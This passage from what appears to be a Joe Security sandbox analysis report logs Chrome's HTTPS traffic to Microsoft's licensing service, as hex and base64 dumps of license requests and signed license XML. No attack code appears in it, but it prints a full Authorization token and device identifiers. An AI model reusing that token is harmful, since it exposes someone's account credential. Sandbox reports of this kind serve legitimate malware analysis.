c 36 5a 32 78 6d 57 6c 42 53 51 6a 56 56 53 6c 70 33 4d 7a 4a 35 61 54 41 7a 65 6c 46 68 4b 30 78 4d 59 54 41 31 5a 
6d 70 7a 4e 6d 70 76 52 57 31 73 53 47 4d 31 51 6e 4a 48 55 58 4a 48 63 6d 4a 4f 54 55 4a 68 61 48 6f 30 59 32 31 31 
65 45 74 44 4e 43 39 6b 61 45 56 69 4e 30 70 61 52 6c 56 72 59 7a 42 4e 55 6d 68 7a 4c 30 30 7a 56 6d 55 31 4d 54 46 
49 55 57 5a 4c 64 55 63 72 4f 54 4a 6e 4d 55 39 6d 5a 6b 70 6b 55 6e 4e 42 
Data Ascii: 0xXZEMyL1RRb2RnZUhaemJkQnZ4SnZLaHBicnE2WlAwRnNTRWxMd1JvTEFtdjd6SXVWdzNWYjd0ZlF
0NWJqQ0RIUkFHOWZlc05sWUtWM3lieU5ySHl6Z2xmWlBSQjVVSlp3MzJ5aTAzelFhK0xMYTA1ZmpzNmp
vRW1sSGM1QnJHUXJHcmJOTUJhaHo0Y211eEtDNC9kaEViN0paRlVrYzBNUmhzL00zVmU1MTFIUWZLdUc
rOTJnMU9mZkpkUnNB

2022-07-01 09:01:27 UTC 2250 IN Data Raw: 4f 63 7a 35 4e 61 57 4e 79 62 33 4e 76 5a 6e 51 75 52 32 56 30 63 33 52 68 63 6e 52 6c 5a 46 38 34 64 32 
56 72 65 57 49 7a 5a 44 68 69 59 6e 64 6c 50 43 39 42 63 33 4e 76 59 32 6c 68 64 47 56 6b 55 45 5a 4f 63 7a 34 38 54 
47 56 68 63 32 56 53 5a 57 35 6c 64 32 46 73 55 47 56 79 61 57 39 6b 50 6a 45 79 4f 54 59 77 4d 44 77 76 54 47 56 68 
63 32 56 53 5a 57 35 6c 64 32 46 73 55 47 56 79 61 57 39 6b 50 6a 77 76 51 6d 6c 75 5a 47 6c 75 5a 7a 34 38 54 47 6c 
6a 5a 57 35 7a 5a 55 6c 75 5a 6d 38 67 56 48 6c 77 5a 54 30 69 54 47 56 68 63 32 55 69 49 45 78 70 59 32 56 75 63 32 
56 56 63 32 46 6e 5a 54 30 69 54 32 35 73 61 57 35 6c 49 69 42 4d 61 57 4e 6c 62 6e 4e 6c 51 32 46 30 5a 57 64 76 63 
6e 6b 39 49 6c 4a 6c 64 47 46 70 62 43 49 2b 50 45 6c 7a 63 33 56 6c 5a 45 
Data Ascii: Ocz5NaWNyb3NvZnQuR2V0c3RhcnRlZF84d2VreWIzZDhiYndlPC9Bc3NvY2lhdGVkUEZOcz48TGVhc
2VSZW5ld2FsUGVyaW9kPjEyOTYwMDwvTGVhc2VSZW5ld2FsUGVyaW9kPjwvQmluZGluZz48TGljZW5zZUluZm8gVHl
wZT0iTGVhc2UiIExpY2Vuc2VVc2FnZT0iT25saW5lIiBMaWNlbnNlQ2F0ZWdvcnk9IlJldGFpbCI+PElzc3VlZE

2022-07-01 09:01:27 UTC 2251 IN Data Raw: 75 51 6d 68 5a 4d 6e 52 6f 57 6a 4a 57 53 6c 70 48 56 6e 56 6b 52 32 78 74 59 56 64 57 65 55 6c 71 62 32 6c 
4f 56 45 45 79 54 56 52 46 65 6b 31 36 52 58 52 61 62 56 56 34 54 31 4d 78 61 30 31 36 57 54 4a 4d 56 30 6c 33 54 6b 
52 72 64 45 35 71 61 7a 42 5a 61 6d 68 6f 57 58 70 73 61 30 35 36 56 54 52 4a 61 58 64 70 59 30 64 47 61 6d 45 79 52 
6d 35 61 56 6c 49 31 59 30 64 56 61 55 39 70 53 6e 52 6a 4d 6d 77 30 53 57 6c 33 61 57 4e 49 53 6e 5a 61 53 46 5a 71 
5a 45 56 47 61 31 70 46 4f 58 56 6a 65 55 6b 32 56 7a 45 77 63 30 6c 75 51 6e 6c 69 4d 6c 49 78 57 54 4e 53 53 6c 70 
44 53 54 5a 4a 61 6d 78 59 56 32 74 53 54 31 45 78 53 6b 56 57 52 55 70 4c 55 32 6c 4a 63 30 6c 75 54 6e 4a 6b 56 57 
78 72 53 57 70 76 61 55 31 45 51 58 68 4e 51 30 6f 35 57 46 4e 33 61 57 
Data Ascii: uQmhZMnRoWjJWSlpHVnVkR2xtYVdWeUlqb2lOVEEyTVRFek16RXRabVV4T1Mxa016WTJMV0l3TkRrd
E5qazBZamhoWXpsa056VTRJaXdpY0dGamEyRm5aVlI1Y0dVaU9pSnRjMmw0SWl3aWNISnZaSFZqZEVGa
1pFOXVjeUk2VzEwc0luQnliMlIxWTNSSlpDSTZJamxYV2tST1ExSkVWRUpLU2lJc0luTnJkVWxrSWpvaU1EQXhNQ0o
5WFN3aW

2022-07-01 09:01:27 UTC 2252 IN Data Raw: 73 61 58 70 68 64 47 6c 76 62 6b 31 6c 64 47 68 76 5a 43 42 42 62 47 64 76 63 6d 6c 30 61 47 30 39 49 6d 
68 30 64 48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 4d 54 41 76 65 47 31 73 4c 
57 56 34 59 79 31 6a 4d 54 52 75 49 79 49 67 4c 7a 34 38 55 32 6c 6e 62 6d 46 30 64 58 4a 6c 54 57 56 30 61 47 39 6b 
49 45 46 73 5a 32 39 79 61 58 52 6f 62 54 30 69 61 48 52 30 63 44 6f 76 4c 33 64 33 64 79 35 33 4d 79 35 76 63 6d 63 
76 4d 6a 41 77 4d 53 38 77 4e 43 39 34 62 57 78 6b 63 32 6c 6e 4c 57 31 76 63 6d 55 6a 63 6e 4e 68 4c 58 4e 6f 59 54 
49 31 4e 69 49 67 4c 7a 34 38 55 6d 56 6d 5a 58 4a 6c 62 6d 4e 6c 49 46 56 53 53 54 30 69 49 6a 34 38 56 48 4a 68 62 
6e 4e 6d 62 33 4a 74 63 7a 34 38 56 48 4a 68 62 6e 4e 6d 62 33 4a 74 49 45 
Data Ascii: saXphdGlvbk1ldGhvZCBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvMTAveG1sLWV4Y
y1jMTRuIyIgLz48U2lnbmF0dXJlTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8wNC94bWx
kc2lnLW1vcmUjcnNhLXNoYTI1NiIgLz48UmVmZXJlbmNlIFVSST0iIj48VHJhbnNmb3Jtcz48VHJhbnNmb3JtIE

2022-07-01 09:01:27 UTC 2253 IN Data Raw: 52 56 32 74 57 62 58 68 6b 59 6d 74 51 63 6c 67 78 4e 47 6c 4e 57 58 46 75 4f 57 56 55 56 31 64 47 64 7a 30 
39 50 43 39 54 61 57 64 75 59 58 52 31 63 6d 56 57 59 57 78 31 5a 54 34 38 53 32 56 35 53 57 35 6d 62 79 42 4a 5a 44 
30 69 58 7a 42 6d 4f 44 46 69 4d 6a 52 6d 4c 57 4a 6a 4e 44 41 74 4d 6a 63 78 4d 69 30 77 5a 44 56 6b 4c 57 55 33 59 
7a 45 77 4d 44 67 31 59 7a 4d 7a 4d 43 49 2b 50 45 74 6c 65 56 5a 68 62 48 56 6c 50 6a 78 53 55 30 46 4c 5a 58 6c 57 
59 57 78 31 5a 54 34 38 54 57 39 6b 64 57 78 31 63 7a 35 76 56 6c 4e 4b 57 45 6c 30 52 48 4e 68 51 55 6c 6d 64 33 6c 
53 4f 57 4a 6f 61 43 39 61 55 33 42 77 51 30 46 50 4b 32 6c 75 4f 56 42 50 54 46 64 6b 51 7a 49 76 56 46 46 76 5a 47 
64 6c 53 46 70 36 59 6d 52 43 64 6e 68 4b 64 6b 74 6f 63 47 4a 79 63 54 
Data Ascii: RV2tWbXhkYmtQclgxNGlNWXFuOWVUV1dGdz09PC9TaWduYXR1cmVWYWx1ZT48S2V5SW5mbyBJZD0iX
zBmODFiMjRmLWJjNDAtMjcxMi0wZDVkLWU3YzEwMDg1YzMzMCI+PEtleVZhbHVlPjxSU0FLZXlWYWx1Z
T48TW9kdWx1cz5vVlNKWEl0RHNhQUlmd3lSOWJoaC9aU3BwQ0FPK2luOVBPTFdkQzIvVFFvZGdlSFp6YmRCdnhKdkt
ocGJycT

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

131 192.168.2.5 49898 20.123.104.105 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

Copyright Joe Security LLC 2022 Page 98 of 280



2022-07-01 09:01:27 UTC 2253 OUT POST /v7.0/licenses/content HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json; charset=utf-8
Authorization: t=EwCoBF8iAQAUkOrzy5O8+zKmOLh4X1kZomC7Ye8AAXIEoR7zVBsigo9+ELiiOPQgXNnqxslE8
JGHvlJPLIUUKouiwbgUni88ojzdGkdqFYYxxM5X9Ms5ydSvJFd3DZPMh0fLqF+d6noF2yzw2kJ7MwjAqWkQK0UX/a2
X3ShCSw11oNjoZpYc16pKFSkiL1guCryQknhJFxUNvpcM/mUO4J45kW/UANpVJMg9gDEiHFbRMPVe4XwtYHsROYOhh
Wh/1ix6VL6WuHyfvlkfekuIUUqh1k5GyjH1OMI7ATpSB8ZlpG7DvmA3TMU3Avh/Kyp20u4YfE7FQeZk27MtQODcOqx
r47CWO34DzhVOwzM6ckzQAjwiuN4oCNPUinxYaD0DZgAACCrsBL0oic4EeAOxmnWWC6VaWWaLWlPjwhzf4JoklMOzh
LlxAXqZ23+nx5n2ghWbB319xUQ3gAHi3vutcxW0EYu4MoFf+3kVo1VdxJihYML7fchf2azHMJStufF7tKl11N72gUB
sJi5iZnOXwfiB7B4lKYh3x5vZ2KfPdIQStUnZOBptzrf7x9RPD8cDFe3o++PVGJsK8Jb2tq3kr+aeLhzm6Id/kr4ZH
PHmS3ldf61PYLln9fL17+PWsOsDHkz7/Rl0+eJgZtP1dgC3Vu5dOF0ACzpt4zvm3HqYlTsG16p6VMyOYHZrX2KJdif
VOH7f5OVMjlGaj1tZF9GhBm752zHRZqQQkTMB4R+Nz1RDhkRmcRRnI9JO7BgjQPwOFZSe8xBvKNrcPLP
5ARJ+GJWSS5xjFAVxT6uAZU6MwHnGrgT4x+vlMWUJxDsAx5/JKY5/EF219tMGD8hQCSb+fb9BYFL3F/aagO162MKam
bsxMIrRucH374Xi4bDQj7VBOPrBWkuclUT148aGjNJYqtpiMS/CiRaXz+Ds/pTq2P6mniYMoIwVB14Ps6wwnJ7RAlS
tc2SEkcWZV3Tio45sCxl9Zv9vuHmKEnXU7PuS7sG3zVsKVc12aop7rUVT8EQGh0jDTpl80tIrJMRQfVvKwNlG8xLTR
T2bxdMM1RPSvLRZ0doPPBQ3xLXWQ3AOCEyFyjQ/3hYO1b2xE2a+Dswj3BOIQDshGKECzOKyj2OdWRMnLy8otyr8IAf
u3uGmgVPtbCFfgKzSvpCybywmW989QKSTFu7Xrn7DLafyfCoTZJfDD7fkjkVirFvnQPIUInsun19F2pNKrMq1KUwFz
u8mZkEDqtnjX6LEawC9VA62+L/kyJdSzdwQNJBD1ewtgiQX0Lu/9d9/R0AgVII3uTtGH5CloikBHjbJhfFY7Co6uZe
ZOKIL/9qmVDSc7ff3xKZQJAKLas3lHwfAKBvefbIQ9FzAKvSiqq+hbWggytvlVxJr8fM88U3K/WlkXyvavlNwqIZuU
m7uQ4szU1RF6ZfgnjC5jF1x4tKS1UK/+vxQ9XblOb3PX59I7PdoyRyFpdfPtDTGTIut8eygNRhAKN1krjohs2/yTrO
dj6AbKvNsNeUXEHVkksCLA71M2H9ls/e0KWUp8HWM22VCicNvgzoiFBn/5mw21CbanZYybAyWwpzHha4+PUKdAw==&
p=
User-Agent: LM
MS-CV: UznHpAHqV0GMBdER.17
Content-Length: 736
Host: licensing.mp.microsoft.com

2022-07-01 09:01:27 UTC 2255 OUT Data Raw: 7b 22 63 6c 69 65 6e 74 43 68 61 6c 6c 65 6e 67 65 22 3a 22 50 44 39 34 62 57 77 67 64 6d 56 79 63 32 6c 
76 62 6a 30 69 4d 53 34 77 49 69 42 6c 62 6d 4e 76 5a 47 6c 75 5a 7a 30 69 64 58 52 6d 4c 54 67 69 49 44 38 2b 50 45 
4e 73 61 57 56 75 64 45 4e 6f 59 57 78 73 5a 57 35 6e 5a 53 42 34 62 57 78 75 63 7a 70 34 63 32 6b 39 49 6d 68 30 64 
48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 
4c 57 6c 75 63 33 52 68 62 6d 4e 6c 49 69 42 34 62 57 78 75 63 7a 70 34 63 32 51 39 49 6d 68 30 64 48 41 36 4c 79 39 
33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 49 69 42 34 62 57 
78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 4e 6a 61 47 56 74 59 58 4d 
Data Ascii: {"clientChallenge":"PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiID8+PENsaWVudENoYWxs
ZW5nZSB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2
Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4bWxucz0iaHR0cDovL3NjaGVtYXM

2022-07-01 09:01:27 UTC 2256 IN HTTP/1.1 200 OK
Connection: close
Date: Fri, 01 Jul 2022 09:01:26 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Content-Length: 8255
MS-CorrelationId: 053cf1e1-b96f-447c-9291-f39f11db5010
MS-RequestId: bb1c26d0-0458-4602-829b-0870560c7e34
MS-CV: UznHpAHqV0GMBdER.17.1530939457.0.0
X-Content-Type-Options: nosniff
MS-ServerId: 56

2022-07-01 09:01:27 UTC 2256 IN Data Raw: 7b 22 6c 69 63 65 6e 73 65 22 3a 7b 22 6b 65 79 73 22 3a 5b 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 64 
72 6d 54 79 70 65 22 3a 22 4d 6b 6d 73 22 2c 22 6b 65 79 49 64 22 3a 22 37 65 30 33 64 62 39 36 2d 31 34 30 35 2d 64 
31 66 30 2d 63 66 30 62 2d 66 64 32 38 30 66 66 63 39 66 38 30 22 7d 2c 22 76 61 6c 75 65 22 3a 22 50 45 78 70 59 32 
56 75 63 32 55 67 65 47 31 73 62 6e 4d 36 65 48 4e 6b 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 
6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 6a 61 47 56 74 59 53 49 67 65 47 31 73 62 6e 4d 36 65 48 4e 70 
50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 
6a 61 47 56 74 59 53 31 70 62 6e 4e 30 59 57 35 6a 5a 53 49 67 53 55 51 39 
Data Ascii: {"license":{"keys":[{"metadata":{"drmType":"Mkms","keyId":"7e03db96-1405-d1f0-cf0b-fd280ffc9f80"},"value":"P
ExpY2Vuc2UgeG1sbnM6eHNkPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYSIgeG1sbnM6eHNpPSJodHR
wOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIgSUQ9

2022-07-01 09:01:27 UTC 2257 IN Data Raw: 6a 49 33 4c 6a 51 34 4e 6a 55 30 4d 54 56 61 50 43 39 4d 59 58 4e 30 56 58 42 6b 59 58 52 6c 52 47 46 30 
5a 54 34 38 51 6d 56 6e 61 57 35 45 59 58 52 6c 50 6a 49 77 4d 6a 49 74 4d 44 63 74 4d 44 46 55 4d 44 6b 36 4d 44 45 
36 4d 6a 63 75 4e 44 67 32 4e 54 4d 35 4f 56 6f 38 4c 30 4a 6c 5a 32 6c 75 52 47 46 30 5a 54 34 38 4c 30 78 70 59 32 5
6 75 63 32 56 4a 62 6d 5a 76 50 6a 78 44 64 58 4e 30 62 32 31 51 62 32 78 70 59 32 6c 6c 63 7a 35 6c 4d 7a 41 39 50 
43 39 44 64 58 4e 30 62 32 31 51 62 32 78 70 59 32 6c 6c 63 7a 34 38 55 31 42 4d 61 57 4e 6c 62 6e 4e 6c 51 6d 78 76 
59 32 73 2b 52 6b 46 42 51 55 46 4f 53 55 46 42 51 55 52 4b 51 55 46 42 51 55 4e 6e 51 55 46 42 51 56 56 42 51 56 46 
45 62 6e 51 33 4e 57 6c 44 64 30 68 4d 51 55 46 42 51 55 56 42 51 55 46 42 
Data Ascii: jI3LjQ4NjU0MTVaPC9MYXN0VXBkYXRlRGF0ZT48QmVnaW5EYXRlPjIwMjItMDctMDFUMDk6MDE6Mjc
uNDg2NTM5OVo8L0JlZ2luRGF0ZT48L0xpY2Vuc2VJbmZvPjxDdXN0b21Qb2xpY2llcz5lMzA9PC9DdXN0b21Qb2xpY
2llcz48U1BMaWNlbnNlQmxvY2s+RkFBQUFOSUFBQURKQUFBQUNnQUFBQVVBQVFEbnQ3NWlDd0hMQUFBQ
UVBQUFB

2022-07-01 09:01:27 UTC 2258 IN Data Raw: 32 45 74 63 32 68 68 4d 6a 55 32 49 69 41 76 50 6a 78 53 5a 57 5a 6c 63 6d 56 75 59 32 55 67 56 56 4a 4a 
50 53 49 69 50 6a 78 55 63 6d 46 75 63 32 5a 76 63 6d 31 7a 50 6a 78 55 63 6d 46 75 63 32 5a 76 63 6d 30 67 51 57 78 
6e 62 33 4a 70 64 47 68 74 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 4
1 77 4c 7a 41 35 4c 33 68 74 62 47 52 7a 61 57 63 6a 5a 57 35 32 5a 57 78 76 63 47 56 6b 4c 58 4e 70 5a 32 35 68 64 
48 56 79 5a 53 49 67 4c 7a 34 38 4c 31 52 79 59 57 35 7a 5a 6d 39 79 62 58 4d 2b 50 45 52 70 5a 32 56 7a 64 45 31 6c 
64 47 68 76 5a 43 42 42 62 47 64 76 63 6d 6c 30 61 47 30 39 49 6d 68 30 64 48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 
75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 4d 44 51 76 65 47 31 73 5a 57 35 6a 
Data Ascii: 2Etc2hhMjU2IiAvPjxSZWZlcmVuY2UgVVJJPSIiPjxUcmFuc2Zvcm1zPjxUcmFuc2Zvcm0gQWxnb3J
pdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwLzA5L3htbGRzaWcjZW52ZWxvcGVkLXNpZ25hdHVyZSIgLz48L1RyY
W5zZm9ybXM+PERpZ2VzdE1ldGhvZCBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvMDQveG1sZW5j

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:27 UTC 2259 IN Data Raw: 32 46 42 53 57 5a 33 65 56 49 35 59 6d 68 6f 4c 31 70 54 63 48 42 44 51 55 38 72 61 57 34 35 55 45 39 4d 56 
32 52 44 4d 69 39 55 55 57 39 6b 5a 32 56 49 57 6e 70 69 5a 45 4a 32 65 45 70 32 53 32 68 77 59 6e 4a 78 4e 6c 70 51 
4d 45 5a 7a 55 30 56 73 54 48 64 53 62 30 78 42 62 58 59 33 65 6b 6c 31 56 6e 63 7a 56 6d 49 33 64 47 5a 52 64 44 56 
69 61 6b 4e 45 53 46 4a 42 52 7a 6c 6d 5a 58 4e 4f 62 46 6c 4c 56 6a 4e 35 59 6e 6c 4f 63 6b 68 35 65 6d 64 73 5a 6c 7
0 51 55 6b 49 31 56 55 70 61 64 7a 4d 79 65 57 6b 77 4d 33 70 52 59 53 74 4d 54 47 45 77 4e 57 5a 71 63 7a 5a 71 62 
30 56 74 62 45 68 6a 4e 55 4a 79 52 31 46 79 52 33 4a 69 54 6b 31 43 59 57 68 36 4e 47 4e 74 64 58 68 4c 51 7a 51 76 
5a 47 68 46 59 6a 64 4b 57 6b 5a 56 61 32 4d 77 54 56 4a 6f 63 79 39 4e 
Data Ascii: 2FBSWZ3eVI5YmhoL1pTcHBDQU8raW45UE9MV2RDMi9UUW9kZ2VIWnpiZEJ2eEp2S2hwYnJxNlpQMEZ
zU0VsTHdSb0xBbXY3ekl1VnczVmI3dGZRdDViakNESFJBRzlmZXNObFlLVjN5YnlOckh5emdsZlpQUkI1VUpadzMye
WkwM3pRYStMTGEwNWZqczZqb0VtbEhjNUJyR1FyR3JiTk1CYWh6NGNtdXhLQzQvZGhFYjdKWkZVa2MwTVJocy9N

2022-07-01 09:01:27 UTC 2260 IN Data Raw: 30 51 30 51 7a 41 33 4e 44 41 78 4f 44 41 77 50 43 39 45 5a 58 5a 70 59 32 56 4a 52 44 34 38 51 58 4e 7a 
62 32 4e 70 59 58 52 6c 5a 46 42 47 54 6e 4d 2b 54 57 6c 6a 63 6d 39 7a 62 32 5a 30 4c 6c 64 70 62 6d 52 76 64 33 4d 
75 4e 44 67 75 57 44 45 35 4c 54 6b 35 4e 54 41 30 58 7a 68 33 5a 57 74 35 59 6a 4e 6b 4f 47 4a 69 64 32 55 38 4c 30 
46 7a 63 32 39 6a 61 57 46 30 5a 57 52 51 52 6b 35 7a 50 6a 78 4d 5a 57 46 7a 5a 56 4a 6c 62 6d 56 33 59 57 78 51 5a 
58 4a 70 62 32 51 2b 4d 54 41 77 4f 44 41 38 4c 30 78 6c 59 58 4e 6c 55 6d 56 75 5a 58 64 68 62 46 42 6c 63 6d 6c 76 
5a 44 34 38 4c 30 4a 70 62 6d 52 70 62 6d 63 2b 50 45 78 70 59 32 56 75 63 32 56 4a 62 6d 5a 76 49 46 52 35 63 47 55 
39 49 6b 78 6c 59 58 4e 6c 49 69 42 4d 61 57 4e 6c 62 6e 4e 6c 56 58 4e 68 
Data Ascii: 0Q0QzA3NDAxODAwPC9EZXZpY2VJRD48QXNzb2NpYXRlZFBGTnM+TWljcm9zb2Z0LldpbmRvd3MuNDg
uWDE5LTk5NTA0Xzh3ZWt5YjNkOGJid2U8L0Fzc29jaWF0ZWRQRk5zPjxMZWFzZVJlbmV3YWxQZXJpb2Q
+MTAwODA8L0xlYXNlUmVuZXdhbFBlcmlvZD48L0JpbmRpbmc+PExpY2Vuc2VJbmZvIFR5cGU9IkxlYXNlIiBMaWNlb
nNlVXNh

2022-07-01 09:01:27 UTC 2261 IN Data Raw: 46 6c 36 56 54 56 50 56 30 5a 72 54 6d 31 4f 61 56 6c 71 55 6d 31 5a 56 30 70 6f 54 30 64 4e 4d 55 35 48 52 
6d 68 4f 56 45 35 70 54 58 70 73 62 45 35 45 52 54 52 4b 62 54 46 6f 59 32 31 30 62 47 52 45 4d 56 5a 56 65 56 70 33 
59 6a 4a 34 63 46 6b 7a 62 46 56 6c 57 45 4a 73 55 46 56 53 62 47 52 74 62 47 70 61 55 30 6c 7a 53 57 31 30 62 47 56 
56 62 47 74 6a 65 55 6b 32 56 33 6c 4a 4d 31 70 55 51 58 70 61 52 30 6b 31 54 6d 6b 77 65 45 35 45 51 54 46 4d 56 31 
46 34 57 6d 70 42 64 46 6b 79 57 58 64 5a 61 54 46 74 57 6b 52 4a 4e 45 31 48 57 6d 31 5a 65 6d 78 74 54 30 52 42 61 
56 68 54 64 32 6c 68 4d 6d 78 31 57 6b 4e 4a 4e 6b 6c 72 54 6e 5a 69 62 6c 4a 73 59 6d 35 52 61 55 78 44 53 6e 64 5a 
56 30 35 79 57 56 64 6b 62 47 4e 35 53 54 5a 58 4d 33 4e 70 59 30 64 47 
Data Ascii: Fl6VTVPV0ZrTm1OaVlqUm1ZV0poT0dNMU5HRmhOVE5pTXpsbE5ERTRKbTFoY210bGREMVZVeVp3YjJ
4cFkzbFVlWEJsUFVSbGRtbGpaU0lzSW10bGVVbGtjeUk2V3lJM1pUQXpaR0k1TmkweE5EQTFMV1F4Wmp
BdFkyWXdZaTFtWkRJNE1HWm1ZemxtT0RBaVhTd2lhMmx1WkNJNklrTnZiblJsYm5RaUxDSndZV05yWVd
kbGN5STZXM3NpY0dG

2022-07-01 09:01:27 UTC 2262 IN Data Raw: 6b 59 78 53 6b 31 61 53 45 46 6c 4d 30 39 6c 51 55 70 74 5a 33 6b 33 4c 7a 64 48 64 32 52 36 4c 31 52 42 
51 55 46 42 51 6b 46 42 51 55 46 48 5a 6e 6c 34 4d 6b 78 4e 51 55 46 42 51 56 4a 42 51 55 46 42 51 55 56 42 51 57 64 
43 61 57 68 57 51 58 4e 31 55 45 63 7a 63 55 73 34 4e 45 70 61 64 32 4a 77 52 31 56 4c 61 6e 42 4c 52 54 68 79 4e 47 
46 4a 54 6d 4e 36 5a 7a 4e 4a 4d 6d 64 68 59 6b 45 32 56 30 4a 79 56 6e 5a 43 53 6e 46 34 61 47 6c 5a 61 48 70 72 53 
55 52 42 55 6b 78 5a 61 47 56 59 55 6a 6c 61 4e 6d 39 58 61 45 35 6f 53 44 42 5a 54 6c 4a 42 4f 47 77 78 56 6a 77 76 
55 31 42 4d 61 57 4e 6c 62 6e 4e 6c 51 6d 78 76 59 32 73 2b 50 46 4e 70 5a 32 35 68 64 48 56 79 5a 53 42 34 62 57 78 
75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 64 33 64 79 35 33 4d 79 35 76 
Data Ascii: kYxSk1aSEFlM09lQUptZ3k3LzdHd2R6L1RBQUFBQkFBQUFHZnl4MkxNQUFBQVJBQUFBQUVBQWdCaWh
WQXN1UEczcUs4NEpad2JwR1VLanBLRThyNGFJTmN6ZzNJMmdhYkE2V0JyVnZCSnF4aGlZaHprSURBUkx
ZaGVYUjlaNm9XaE5oSDBZTlJBOGwxVjwvU1BMaWNlbnNlQmxvY2s+PFNpZ25hdHVyZSB4bWxucz0iaHR0cDovL3d3d
y53My5v

2022-07-01 09:01:27 UTC 2263 IN Data Raw: 32 35 4e 63 55 70 77 53 46 4a 71 61 7a 67 31 5a 45 64 68 62 45 4e 59 52 45 34 72 51 6e 42 54 4e 6c 52 61 
65 6b 46 42 62 30 51 32 55 6c 64 78 59 6b 78 4a 61 33 68 57 57 46 67 31 51 57 31 4b 59 7a 64 53 54 47 35 52 57 6c 70 
78 65 45 74 56 63 57 5a 45 59 55 4e 6e 4c 32 59 7a 4e 58 5a 68 63 45 70 4e 65 53 74 30 57 47 38 77 57 44 46 7a 55 7a 
42 6f 51 6b 38 77 51 30 52 77 64 6a 42 71 55 44 45 35 4b 33 42 31 54 44 6c 5a 4e 47 51 33 55 30 74 52 61 6d 5a 50 56 
79 73 34 4d 6d 68 4b 59 31 4a 72 61 30 67 76 62 55 6b 7a 56 6c 5a 4f 5a 6e 42 48 61 6c 6b 31 53 45 77 35 56 6b 59 35 
63 32 70 33 4f 47 5a 4c 4c 31 42 30 61 57 39 45 4c 30 34 72 57 6c 52 7a 65 44 68 6e 59 31 56 32 4c 7a 42 33 56 6d 52 
70 5a 6b 63 34 51 55 35 6a 55 32 46 4c 61 47 56 6d 64 43 74 7a 52 30 6f 7a 
Data Ascii: 25NcUpwSFJqazg1ZEdhbENYRE4rQnBTNlRaekFBb0Q2UldxYkxJa3hWWFg1QW1KYzdSTG5RWlpxeEt
VcWZEYUNnL2YzNXZhcEpNeSt0WG8wWDFzUzBoQk8wQ0RwdjBqUDE5K3B1TDlZNGQ3U0tRamZPVys4Mmh
KY1Jra0gvbUkzVlZOZnBHalk1SEw5VkY5c2p3OGZLL1B0aW9EL04rWlRzeDhnY1V2LzB3VmRpZkc4QU5jU2FLaGVmd
CtzR0oz

2022-07-01 09:01:27 UTC 2264 IN Data Raw: 57 55 2b 50 43 39 4c 5a 58 6c 4a 62 6d 5a 76 50 6a 77 76 55 32 6c 6e 62 6d 46 30 64 58 4a 6c 50 6a 77 76 
54 47 6c 6a 5a 57 35 7a 5a 54 34 3d 22 7d 5d 2c 22 72 6f 6f 74 73 22 3a 5b 5d 7d 7d 
Data Ascii: WU+PC9LZXlJbmZvPjwvU2lnbmF0dXJlPjwvTGljZW5zZT4="}],"roots":[]}}

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

132 192.168.2.5 49900 20.123.104.105 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:27 UTC 2264 OUT POST /v7.0/licenses/content HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json; charset=utf-8
Authorization: t=EwCoBF8iAQAUkOrzy5O8+zKmOLh4X1kZomC7Ye8AAXIEoR7zVBsigo9+ELiiOPQgXNnqxslE8
JGHvlJPLIUUKouiwbgUni88ojzdGkdqFYYxxM5X9Ms5ydSvJFd3DZPMh0fLqF+d6noF2yzw2kJ7MwjAqWkQK0UX/a2
X3ShCSw11oNjoZpYc16pKFSkiL1guCryQknhJFxUNvpcM/mUO4J45kW/UANpVJMg9gDEiHFbRMPVe4XwtYHsROYOhh
Wh/1ix6VL6WuHyfvlkfekuIUUqh1k5GyjH1OMI7ATpSB8ZlpG7DvmA3TMU3Avh/Kyp20u4YfE7FQeZk27MtQODcOqx
r47CWO34DzhVOwzM6ckzQAjwiuN4oCNPUinxYaD0DZgAACCrsBL0oic4EeAOxmnWWC6VaWWaLWlPjwhzf4JoklMOzh
LlxAXqZ23+nx5n2ghWbB319xUQ3gAHi3vutcxW0EYu4MoFf+3kVo1VdxJihYML7fchf2azHMJStufF7tKl11N72gUB
